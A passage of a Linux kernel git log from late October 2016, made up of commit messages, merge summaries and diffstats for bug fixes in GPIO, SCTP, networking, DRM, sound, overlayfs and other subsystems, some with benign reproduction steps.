+0200 gpio: GPIO_GET_LINE{HANDLE,EVENT}_IOCTL: Fix file descriptor leak When allocating a new line handle or event a file is allocated that it is associated to. The file is attached to a file descriptor of the current process and the file descriptor is returned to userspace using copy_to_user(). If this copy operation fails the line handle or event allocation is aborted, all acquired resources are freed and an error is returned. But the file struct is not freed and left attached to the userspace application and even though the file descriptor number was not copied it is trivial to guess. If a userspace application performs a IOCTL on such a left over file descriptor it will trigger a use-after-free and if the file descriptor is closed (latest when the application exits) a double-free is triggered. anon_inode_getfd() performs 3 tasks, allocate a file struct, allocate a file descriptor for the current process and install the file struct in the file descriptor. As soon as the file struct is installed in the file descriptor it is accessible by userspace (even if the IOCTL itself hasn't completed yet), this means uninstalling the fd on the error path is not an option, since userspace might already got a reference to the file. Instead anon_inode_getfd() needs to be broken into its individual steps. The allocation of the file struct and file descriptor is done first, then the copy_to_user() is executed and only if it succeeds the file is installed. Since the file struct is reference counted it can not be just freed, but its reference needs to be dropped, which will also call the release() callback, which will free the state attached to the file. So in this case the normal error cleanup path should not be taken. Cc: stable@vger.kernel.org Fixes: d932cd49182f ("gpio: free handles in fringe cases") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 57 +++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 45 insertions(+), 12 deletions(-) commit 1137086fc85712aa123d29c87c604310a17a7d4e Merge: 87557ef dae399d Author: David S. Miller Date: Mon Oct 31 16:20:33 2016 -0400 Merge branch 'sctp-hold-transport-fixes' Xin Long says: ==================== sctp: a bunch of fixes by holding transport There are several places where it holds assoc after getting transport by searching from transport rhashtable, it may cause use-after-free issue. This patchset is to fix them by holding transport instead. v1->v2: Fix the changelog of patch 2/3 ==================== Signed-off-by: David S. Miller commit dae399d7fdee84d8f5227a9711d95bb4e9a05d4e Author: Xin Long Date: Mon Oct 31 20:32:33 2016 +0800 sctp: hold transport instead of assoc when lookup assoc in rx path Prior to this patch, in rx path, before calling lock_sock, it needed to hold assoc when got it by __sctp_lookup_association, in case other place would free/put assoc. But in __sctp_lookup_association, it lookup and hold transport, then got assoc by transport->assoc, then hold assoc and put transport. It means it didn't hold transport, yet it was returned and later on directly assigned to chunk->transport. Without the protection of sock lock, the transport may be freed/put by other places, which would cause a use-after-free issue. This patch is to fix this issue by holding transport instead of assoc. As holding transport can make sure to access assoc is also safe, and actually it looks up assoc by searching transport rhashtable, to hold transport here makes more sense. Note that the function will be renamed later on on another patch. Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller include/net/sctp/sctp.h | 2 +- net/sctp/input.c | 32 ++++++++++++++++---------------- net/sctp/ipv6.c | 2 +- 3 files changed, 18 insertions(+), 18 deletions(-) commit 7c17fcc726903ffed1716351efdc617e752533ed Author: Xin Long Date: Mon Oct 31 20:32:32 2016 +0800 sctp: return back transport in __sctp_rcv_init_lookup Prior to this patch, it used a local variable to save the transport that is looked up by __sctp_lookup_association(), and didn't return it back. But in sctp_rcv, it is used to initialize chunk->transport. So when hitting this, even if it found the transport, it was still initializing chunk->transport with null instead. This patch is to return the transport back through transport pointer that is from __sctp_rcv_lookup_harder(). Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller net/sctp/input.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit cd26da4ff4eb7189921d4e7ad87e8adebb7b416b Author: Xin Long Date: Mon Oct 31 20:32:31 2016 +0800 sctp: hold transport instead of assoc in sctp_diag In sctp_transport_lookup_process(), Commit 1cceda784980 ("sctp: fix the issue sctp_diag uses lock_sock in rcu_read_lock") moved cb() out of rcu lock, but it put transport and hold assoc instead, and ignore that cb() still uses transport. It may cause a use-after-free issue. This patch is to hold transport instead of assoc there. Fixes: 1cceda784980 ("sctp: fix the issue sctp_diag uses lock_sock in rcu_read_lock") Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller net/sctp/socket.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 87557efc27f6a50140fb20df06a917f368ce3c66 Author: Dongli Zhang Date: Mon Oct 31 13:38:29 2016 +0800 xen-netfront: do not cast grant table reference to signed short While grant reference is of type uint32_t, xen-netfront erroneously casts it to signed short in BUG_ON(). This would lead to the xen domU panic during boot-up or migration when it is attached with lots of paravirtual devices. Signed-off-by: Dongli Zhang Signed-off-by: David S. Miller drivers/net/xen-netfront.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit deb507f91f1adbf64317ad24ac46c56eeccfb754 Author: Oliver Hartkopp Date: Mon Oct 24 21:11:26 2016 +0200 can: bcm: fix warning in bcm_connect/proc_register Andrey Konovalov reported an issue with proc_register in bcm.c. As suggested by Cong Wang this patch adds a lock_sock() protection and a check for unsuccessful proc_create_data() in bcm_connect(). Reference: http://marc.info/?l=linux-netdev&m=147732648731237 Reported-by: Andrey Konovalov Suggested-by: Cong Wang Signed-off-by: Oliver Hartkopp Acked-by: Cong Wang Tested-by: Andrey Konovalov Cc: linux-stable Signed-off-by: Marc Kleine-Budde net/can/bcm.c | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) commit 460d2830b00db407be2b72ed792eb3596f245192 Author: Lukas Resch Date: Mon Oct 10 08:07:32 2016 +0000 can: sja1000: plx_pci: Add support for Moxa CAN devices This patch adds support for Moxa CAN devices. Signed-off-by: Lukas Resch Signed-off-by: Christoph Zehentner Signed-off-by: Marc Kleine-Budde drivers/net/can/sja1000/plx_pci.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit df67e97a2848a1517d010470b8b4f3344ae41f02 Merge: 46d0847 d3532ea Author: David S. Miller Date: Mon Oct 31 15:37:30 2016 -0400 Merge tag 'wireless-drivers-for-davem-2016-10-30' of git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/wireless-drivers Kalle Valo says: ==================== wireless-drivers fixes for 4.9 iwlwifi * some fixes for suspend/resume with unified FW images * a fix for a false-positive lockdep report * a fix for multi-queue that caused an unnecessary 1 second latency * a fix for an ACPI parsing bug that caused a misleading error message brcmfmac * fix a variable uninitialised warning in brcmf_cfg80211_start_ap() ==================== Signed-off-by: David S. Miller commit 46d0847cdd4a3fc1920e56827b9189b9a105d362 Author: Ido Schimmel Date: Sun Oct 30 10:09:22 2016 +0100 mlxsw: spectrum: Fix incorrect reuse of MID entries In the device, a MID entry represents a group of local ports, which can later be bound to a MDB entry. The lookup of an existing MID entry is currently done using the provided MC MAC address and VID, from the Linux bridge. However, this can result in an incorrect reuse of the same MID index in different VLAN-unaware bridges (same IP MC group and VID 0). Fix this by performing the lookup based on FID instead of VID, which is unique across different bridges. Fixes: 3a49b4fde2a1 ("mlxsw: Adding layer 2 multicast support") Signed-off-by: Ido Schimmel Acked-by: Elad Raz Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 2 +- drivers/net/ethernet/mellanox/mlxsw/spectrum_switchdev.c | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) commit cbbf049a7c346180cc61ae0a9245c5d749d20a12 Author: Mintz, Yuval Date: Sun Oct 30 10:25:42 2016 +0200 qede: Fix statistics' strings for Tx/Rx queues When an interface is configured to use Tx/Rx-only queues, the length of the statistics would be shortened to accomodate only the statistics required per-each queue, and the values would be provided accordingly. However, the strings provided would still contain both Tx and Rx strings for each one of the queues [regardless of its configuration], which might lead to out-of-bound access when filling the buffers as well as incorrect statistics presented. Fixes: 9a4d7e86acf3 ("qede: Add support for Tx/Rx-only queues.") Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) commit 4f2e4ad56a65f3b7d64c258e373cb71e8d2499f4 Author: Eric Dumazet Date: Sat Oct 29 11:02:36 2016 -0700 net: mangle zero checksum in skb_checksum_help() Sending zero checksum is ok for TCP, but not for UDP. UDPv6 receiver should by default drop a frame with a 0 checksum, and UDPv4 would not verify the checksum and might accept a corrupted packet. Simply replace such checksum by 0xffff, regardless of transport. This error was caught on SIT tunnels, but seems generic. Signed-off-by: Eric Dumazet Cc: Maciej Żenczykowski Cc: Willem de Bruijn Acked-by: Maciej Żenczykowski Signed-off-by: David S. Miller net/core/dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e551c32d57c88923f99f8f010e89ca7ed0735e83 Author: Eric Dumazet Date: Fri Oct 28 13:40:24 2016 -0700 net: clear sk_err_soft in sk_clone_lock() At accept() time, it is possible the parent has a non zero sk_err_soft, leftover from a prior error. Make sure we do not leave this value in the child, as it makes future getsockopt(SO_ERROR) calls quite unreliable. Signed-off-by: Eric Dumazet Acked-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller net/core/sock.c | 1 + 1 file changed, 1 insertion(+) commit ce6dd23329b1ee6a794acf5f7e40f8e89b8317ee Author: Florian Westphal Date: Fri Oct 28 18:43:11 2016 +0200 dctcp: avoid bogus doubling of cwnd after loss If a congestion control module doesn't provide .undo_cwnd function, tcp_undo_cwnd_reduction() will set cwnd to tp->snd_cwnd = max(tp->snd_cwnd, tp->snd_ssthresh << 1); ... which makes sense for reno (it sets ssthresh to half the current cwnd), but it makes no sense for dctcp, which sets ssthresh based on the current congestion estimate. This can cause severe growth of cwnd (eventually overflowing u32). Fix this by saving last cwnd on loss and restore cwnd based on that, similar to cubic and other algorithms. Fixes: e3118e8359bb7c ("net: tcp: add DCTCP congestion control algorithm") Cc: Lawrence Brakmo Cc: Andrew Shewmaker Cc: Glenn Judd Acked-by: Daniel Borkmann Signed-off-by: Florian Westphal Signed-off-by: David S. Miller net/ipv4/tcp_dctcp.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 0c183d92b20b5c84ca655b45ef57b3318b83eb9e Merge: 3f7b55b 2fbef66 Author: Linus Torvalds Date: Mon Oct 31 11:54:11 2016 -0700 Merge tag 'spi-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi Pull spi fixes from Mark Brown: "A few small fixes for SPI, one core fix that only applies in cases where we're handling DT overlays and a couple of driver specific fixes: - Fix handling of error cases when instantiating DT overlays so we don't end up just ignoring devices that encountered an error during instantiation. - Avoid reading uninitialized data when handing spurious interrupts in the espi driver. - A driver specific fix for the dspi driver to fix a bad interaction with u-boot" * tag 'spi-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi: spi: dspi: clear SPI_SR before enable interrupt spi: fsl-espi: avoid processing uninitalized data on error spi: mark device nodes only in case of successful instantiation commit 58bea4144d235cee5bb51203b032ddafd6d1cf8d Author: Kees Cook Date: Wed Oct 19 00:08:04 2016 +0200 latent_entropy: Fix wrong gcc code generation with 64 bit variables The stack frame size could grow too large when the plugin used long long on 32-bit architectures when the given function had too many basic blocks. The gcc warning was: drivers/pci/hotplug/ibmphp_ebda.c: In function 'ibmphp_access_ebda': drivers/pci/hotplug/ibmphp_ebda.c:409:1: warning: the frame size of 1108 bytes is larger than 1024 bytes [-Wframe-larger-than=] This switches latent_entropy from u64 to unsigned long. Thanks to PaX Team and Emese Revfy for the patch. Signed-off-by: Kees Cook mm/page_alloc.c | 2 +- scripts/gcc-plugins/latent_entropy_plugin.c | 19 +++++++++---------- 2 files changed, 10 insertions(+), 11 deletions(-) commit 94201798dbce1cfd242407f1f422819a735c838f Author: Srinivas Kandagatla Date: Mon Oct 31 11:25:45 2016 +0000 ASoC: lpass-cpu: add module licence and description This patch adds module licence to lpass-cpu driver, without this patch lpass-cpu module would taint with below error: snd_soc_lpass_cpu: module license 'unspecified' taints kernel. Disabling lock debugging due to kernel taint snd_soc_lpass_cpu: Unknown symbol regmap_write (err 0) snd_soc_lpass_cpu: Unknown symbol devm_kmalloc (err 0) ... Signed-off-by: Srinivas Kandagatla Acked-by: Kenneth Westfield Signed-off-by: Mark Brown sound/soc/qcom/lpass-cpu.c | 3 +++ 1 file changed, 3 insertions(+) commit 022d00ee0b55e6cd49048acadb9bf76c37e538d8 Author: Srinivas Kandagatla Date: Mon Oct 31 11:25:43 2016 +0000 ASoC: lpass-platform: Fix broken pcm data usage This patch fixes lpass-platform driver which was broken in v4.9-rc1. lpass_pcm_data data structure holds information specific to stream. Holding a single private pointer to it in global lpass_data will not work, because it would be overwritten by for each pcm instance. This code was breaking playback when we have both playback and capture pcm streams, as playback settings are over written by capture settings. Fix this by moving channel allocation logic out of pcm_new to pcm_open so that we can store the stream specific information in private_data of snd_pcm_runtime. Fixes: 6adcbdcd4b6e ("ASoC: lpass-platform: don't use snd_soc_pcm_set_drvdata()") Signed-off-by: Srinivas Kandagatla Signed-off-by: Mark Brown sound/soc/qcom/lpass-platform.c | 165 +++++++++++++++++++--------------------- sound/soc/qcom/lpass.h | 1 - 2 files changed, 79 insertions(+), 87 deletions(-) commit 19bda36c4299ce3d7e5bce10bebe01764a655a6d Author: Xin Long Date: Fri Oct 28 18:18:01 2016 +0800 ipv6: add mtu lock check in __ip6_rt_update_pmtu Prior to this patch, ipv6 didn't do mtu lock check in ip6_update_pmtu. It leaded to that mtu lock doesn't really work when receiving the pkt of ICMPV6_PKT_TOOBIG. This patch is to add mtu lock check in __ip6_rt_update_pmtu just as ipv4 did in __ip_rt_update_pmtu. Acked-by: Hannes Frederic Sowa Signed-off-by: Xin Long Signed-off-by: David S. Miller net/ipv6/route.c | 3 +++ 1 file changed, 3 insertions(+) commit da7389ac6c83e7aa8b04ebe5ba546df2a7873c5c Author: Kees Cook Date: Mon Oct 31 10:40:13 2016 -0700 gcc-plugins: Export symbols needed by gcc This explicitly exports symbols that gcc expects from plugins. Based on code from Emese Revfy. Signed-off-by: Kees Cook scripts/gcc-plugins/cyc_complexity_plugin.c | 4 ++-- scripts/gcc-plugins/gcc-common.h | 1 + scripts/gcc-plugins/latent_entropy_plugin.c | 6 +++--- scripts/gcc-plugins/sancov_plugin.c | 4 ++-- 4 files changed, 8 insertions(+), 7 deletions(-) commit 3f7b55b6b26dc89f58ede1ef5d0cec90816ccac6 Merge: 80a306d ba14fa1 Author: Linus Torvalds Date: Mon Oct 31 10:14:09 2016 -0700 Merge tag 'regulator-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator Pull regulator fix from Mark Brown: "Fix ramp_delay warnings for v4.9 A new warning was introduced for missing information about the time that regulators take to power on in v4.9. This is in theory a real issue but for most practical regulators the communication overhead of talking to the device is greater than the ramp time so a lot of drivers don't set it and the warning is far too noisy without identifying practical issues. Just remove the warning for now" * tag 'regulator-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator: regulator: core: silence warning: "VDD1: ramp_delay not set" commit 80a306d6faa72a7724b0b9f440a116f6e85eaec5 Merge: 6eb3c60 74e3368 Author: Linus Torvalds Date: Mon Oct 31 10:12:35 2016 -0700 Merge tag 'regmap-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap Pull regmap fixes from Mark Brown: "A couple of small build fixes here, nothing major. The missing include is triggered in some configurations and the renaming of ret is defensive for the benefit of some drivers people are in the process of mainlining" * tag 'regmap-fix-v4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap: regmap: Rename ret variable in regmap_read_poll_timeout regmap: include from include/linux/regmap.h commit f89c56ce710afa65e1b2ead555b52c4807f34ff7 Author: Jakub Sitnicki Date: Wed Oct 26 11:21:14 2016 +0200 ipv6: Don't use ufo handling on later transformed packets Similar to commit c146066ab802 ("ipv4: Don't use ufo handling on later transformed packets"), don't perform UFO on packets that will be IPsec transformed. To detect it we rely on the fact that headerlen in dst_entry is non-zero only for transformation bundles (xfrm_dst objects). Unwanted segmentation can be observed with a NETIF_F_UFO capable device, such as a dummy device: DEV=dum0 LEN=1493 ip li add $DEV type dummy ip addr add fc00::1/64 dev $DEV nodad ip link set $DEV up ip xfrm policy add dir out src fc00::1 dst fc00::2 \ tmpl src fc00::1 dst fc00::2 proto esp spi 1 ip xfrm state add src fc00::1 dst fc00::2 \ proto esp spi 1 enc 'aes' 0x0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b tcpdump -n -nn -i $DEV -t & socat /dev/zero,readbytes=$LEN udp6:[fc00::2]:$LEN tcpdump output before: IP6 fc00::1 > fc00::2: frag (0|1448) ESP(spi=0x00000001,seq=0x1), length 1448 IP6 fc00::1 > fc00::2: frag (1448|48) IP6 fc00::1 > fc00::2: ESP(spi=0x00000001,seq=0x2), length 88 ... and after: IP6 fc00::1 > fc00::2: frag (0|1448) ESP(spi=0x00000001,seq=0x1), length 1448 IP6 fc00::1 > fc00::2: frag (1448|80) Fixes: e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") Signed-off-by: Jakub Sitnicki Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller net/ipv6/ip6_output.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6eb3c6046838cd38fc0a6897e5d8b9a882aadcdd Merge: 41ec793 befd996 Author: Linus Torvalds Date: Mon Oct 31 10:10:26 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull TPM fix from James Morris. * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: tpm: remove invalid min length check from tpm_do_selftest() commit 245ae5e915853ced749eb47a343749cf0a9c4109 Author: Christian König Date: Fri Oct 28 17:39:08 2016 +0200 drm/amdgpu: add some error handling to amdgpu_init v2 Just to be clean should we ever run into -ENOMEM during module init. v2: fix typo in commit message Signed-off-by: Christian König Reviewed-by: Alex Deucher (v1) Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) commit c24784f01549ecdf23fc00d0588423bcf8956714 Author: Christian König Date: Fri Oct 28 17:04:07 2016 +0200 drm/amd: fix scheduler fence teardown order v2 Some fences might be alive even after we have stopped the scheduler leading to warnings about leaked objects from the SLUB allocator. Fix this by allocating/freeing the SLUB allocator from the module init/fini functions just like we do it for hw fences. v2: make variable static, add link to bug Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=97500 Reported-by: Grazvydas Ignotas Signed-off-by: Christian König Reviewed-by: Alex Deucher (v1) Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 2 ++ drivers/gpu/drm/amd/scheduler/gpu_scheduler.c | 13 ------------- drivers/gpu/drm/amd/scheduler/gpu_scheduler.h | 6 +++--- drivers/gpu/drm/amd/scheduler/sched_fence.c | 19 +++++++++++++++++++ 4 files changed, 24 insertions(+), 16 deletions(-) commit 91efdb2718e0c5ff014f0cf98cac99f088a9a4d2 Author: Grazvydas Ignotas Date: Sat Oct 29 23:32:44 2016 +0300 drm/amd/powerplay: don't succeed in getters if fan is missing Otherwise callers end up using uninitialized data. Reviewed-by: Edward O'Callaghan Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_thermal.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 18eddaedc940a49425364df98abda218ce1e771c Author: Wei Yongjun Date: Mon Oct 31 15:04:10 2016 +0000 mvsas: fix error return code in mvs_task_prep() Fix to return error code -ENOMEM from the error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Tejun Heo drivers/scsi/mvsas/mv_sas.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit eef2b41122425dbddd16d70371bd000f601161d6 Author: Alex Deucher Date: Mon Oct 31 12:27:52 2016 -0400 drm/amdgpu: make sure ddc_bus is valid in connector unregister This should only happen on boards TV connectors which do not have a ddc bus for those connectors. None of the asics supported by amdgpu support tv, so we shouldn't hit this, but check to be on the safe side (e.g., bios bug for example). Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 582ab27a063a506ccb55fc48afcc325342a2deba Author: Alexander Usyskin Date: Mon Oct 31 19:02:39 2016 +0200 mei: bus: fix received data size check in NFC fixup NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data. That leads to warnings when version data is accessed: drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2 Reported in Build regressions/improvements in v4.9-rc3 https://lkml.org/lkml/2016/10/30/57 Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation) Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/bus-fixup.c | 2 +- drivers/nfc/mei_phy.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 0a6e21056eaa859353945c4b164f3ef574d84271 Author: Larry Finger Date: Mon Oct 31 12:19:39 2016 -0400 drm/radeon: Fix kernel panic on shutdown Since commit a481daa88fd4 ("drm/radeon: always apply pci shutdown callbacks"), a Dell Latitude D600 laptop has crashed on shutdown. The PCI Identification of the graphics adapter is "VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] RV250/M9 GL [Mobility FireGL 9000/Radeon 9000] [1002:4c66] (rev 01)". Prior to commit b0c80bd5d2e3 ("drm/radeon: fix up dp aux tear down (v2)"), I have no idea where the panic happened as the screen was blanked before the crash. Since that more recent change, the panic has been in routine radeon_connector_unregister(), and has been shown to be due to a NULL value in the ddc_bus member of struct drm_connector. Bug: https://bugzilla.kernel.org/show_bug.cgi?id=178421 Fixes: a481daa88fd4 ("drm/radeon: always apply pci shutdown callbacks") Signed-off-by: Larry Finger Cc: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_connectors.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 84b1528e8cef55274f0df20e93513b3060ce495a Author: Alex Deucher Date: Mon Oct 31 11:02:31 2016 -0400 drm/amdgpu: disable runtime pm in certain cases If the platform does not support hybrid graphics or ATPX dGPU power control. Acked-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 2 ++ 1 file changed, 2 insertions(+) commit 066f1f0b4719eb4573ef09bfc63c2bbb6f7676ca Author: Alex Deucher Date: Mon Oct 31 10:41:49 2016 -0400 drm/radeon: disable runtime pm in certain cases If the platform does not support hybrid graphics or ATPX dGPU power control. bug: https://bugzilla.kernel.org/show_bug.cgi?id=51381 Acked-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/radeon_device.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 85915b63ad8b796848f431b66c9ba5e356e722e5 Author: Chen-Yu Tsai Date: Mon Oct 31 14:42:09 2016 +0800 ASoC: sun4i-codec: return error code instead of NULL when create_card fails When sun4i_codec_create_card fails, we do not assign a proper error code to the return value. The return value would be 0 from the previous function call, or we would have bailed out sooner. This would confuse the driver core into thinking the device probe succeeded, when in fact it didn't, leaving various devres based resources lingering. Make the create_card function pass back a meaningful error code, and assign it to the return value. Fixes: 45fb6b6f2aa3 ("ASoC: sunxi: add support for the on-chip codec on early Allwinner SoCs") Signed-off-by: Chen-Yu Tsai Signed-off-by: Mark Brown sound/soc/sunxi/sun4i-codec.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit befd99656c5eb765fe9d96045c4cba099fd938db Author: Jarkko Sakkinen Date: Tue Oct 4 09:49:47 2016 +0300 tpm: remove invalid min length check from tpm_do_selftest() Removal of this check was not properly amended to the original commit. Cc: stable@vger.kernel.org Fixes: 0c541332231e ("tpm: use tpm_pcr_read_dev() in tpm_do_selftest()") Signed-off-by: Jarkko Sakkinen Signed-off-by: James Morris drivers/char/tpm/tpm-interface.c | 3 --- 1 file changed, 3 deletions(-) commit bdacd1b426db83ac8ecf21aef1848120ffe53c07 Author: Rob Herring Date: Tue Oct 11 13:41:03 2016 -0500 driver core: fix smatch warning on dev->bus check Commit d42a09802174 (driver core: skip removal test for non-removable drivers) introduced a smatch warning: drivers/base/dd.c:386 really_probe() warn: variable dereferenced before check 'dev->bus' (see line 373) Fix the warning by removing the dev->bus NULL check. dev->bus will never be NULL, so the check was unnecessary. Reported-by: Dan Carpenter Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/base/dd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c5f0627488be996e833038bdba01e45698ddaa26 Author: Rob Herring Date: Tue Oct 11 13:41:02 2016 -0500 driver core: skip removal test for non-removable drivers Some drivers do not support removal/unbinding. These drivers should have drv->suppress_bind_attrs set to true, so use that to skip the removal test. This doesn't fix anything reported so far, but should prevent some other cases. Some drivers will need fixes to set suppress_bind_attrs to avoid this test. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=177021 Fixes: bea5b158ff0d ("driver core: add test of driver remove calls during probe") Reported-by: Laszlo Ersek Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman drivers/base/dd.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 41ec793d2b9bdd6911d4ad8b7378165aba8424d5 Merge: 04ed7d9 6127d12 Author: Linus Torvalds Date: Mon Oct 31 08:10:38 2016 -0700 Merge branch 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM fixes from Russell King: "A fix for a regression on ARMv4T CPUs, and wiring up the new pkey syscalls for ARM" * 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm: ARM: wire up new pkey syscalls ARM: fix oops when using older ARMv4T CPUs commit 04ed7d9c78c7497146eb760377d031ffd1c91fb5 Merge: 2a26d99 a74ad5e Author: Linus Torvalds Date: Mon Oct 31 08:03:56 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc Pull sparc fixes from David Miller: "Several sparc64 bug fixes here: 1) Make the user copy routines on sparc64 return a properly accurate residual length when an exception occurs. 2) We can get enormous kernel TLB range flush requests from vmalloc unmaps, so handle these more gracefully by doing full flushes instead of going page-by-page. 3) Cope properly with negative branch offsets in sparc jump-label support, from James Clarke. 4) Some old-style decl GCC warning fixups from Tobias Klauser" * git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc: sparc64: Handle extremely large kernel TLB range flushes more gracefully. sparc64: Fix illegal relative branches in hypervisor patched TLB cross-call code. sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_pending. sparc64: Handle extremely large kernel TSB range flushes sanely. sparc: Handle negative offsets in arch_jump_label_transform sparc64: Fix illegal relative branches in hypervisor patched TLB code. sparc64: Delete now unused user copy fixup functions. sparc64: Delete now unused user copy assembler helpers. sparc64: Convert U3copy_{from,to}_user to accurate exception reporting. sparc64: Convert NG2copy_{from,to}_user to accurate exception reporting. sparc64: Convert NGcopy_{from,to}_user to accurate exception reporting. sparc64: Convert NG4copy_{from,to}_user to accurate exception reporting. sparc64: Convert U1copy_{from,to}_user to accurate exception reporting. sparc64: Convert GENcopy_{from,to}_user to accurate exception reporting. sparc64: Convert copy_in_user to accurate exception reporting. sparc64: Prepare to move to more saner user copy exception handling. sparc64: Delete __ret_efault. sparc32: Fix old style declaration GCC warnings sparc64: Fix old style declaration GCC warnings sparc64: Setup a scheduling domain for highest level cache. commit 641089c1549d8d3df0b047b5de7e9a111362cdce Author: Miklos Szeredi Date: Mon Oct 31 14:42:14 2016 +0100 ovl: fsync after copy-up Make sure the copied up file hits the disk before renaming to the final destination. If this is not done then the copy-up may corrupt the data in the file in case of a crash. Signed-off-by: Miklos Szeredi Cc: fs/overlayfs/copy_up.c | 2 ++ 1 file changed, 2 insertions(+) commit b93d4a0eb308d4400b84c8b24c1b80e09a9497d0 Author: Miklos Szeredi Date: Mon Oct 31 14:42:14 2016 +0100 ovl: fix get_acl() on tmpfs tmpfs doesn't have ->get_acl() because it only uses cached acls. This fixes the acl tests in pjdfstest when tmpfs is used as the upper layer of the overlay. Reported-by: Amir Goldstein Signed-off-by: Miklos Szeredi Fixes: 39a25b2b3762 ("ovl: define ->get_acl() for overlay inodes") Cc: # v4.8 fs/overlayfs/inode.c | 3 --- 1 file changed, 3 deletions(-) commit fd3220d37b1f6f0cab6142d98b0e6c4082e63299 Author: Miklos Szeredi Date: Mon Oct 31 14:42:14 2016 +0100 ovl: update S_ISGID when setting posix ACLs This change fixes xfstest generic/375, which failed to clear the setgid bit in the following test case on overlayfs: touch $testfile chown 100:100 $testfile chmod 2755 $testfile _runas -u 100 -g 101 -- setfacl -m u::rwx,g::rwx,o::rwx $testfile Reported-by: Amir Goldstein Signed-off-by: Miklos Szeredi Tested-by: Amir Goldstein Fixes: d837a49bd57f ("ovl: fix POSIX ACL setting") Cc: # v4.8 fs/overlayfs/super.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit b73b8a1ba598236296a46103d81c10d629d9a470 Author: Liping Zhang Date: Sat Oct 29 22:09:51 2016 +0800 netfilter: nft_dup: do not use sreg_dev if the user doesn't specify it The NFTA_DUP_SREG_DEV attribute is not a must option, so we should use it in routing lookup only when the user specify it. Fixes: d877f07112f1 ("netfilter: nf_tables: add nft_dup expression") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/nft_dup_ipv4.c | 6 ++++-- net/ipv6/netfilter/nft_dup_ipv6.c | 6 ++++-- 2 files changed, 8 insertions(+), 4 deletions(-) commit 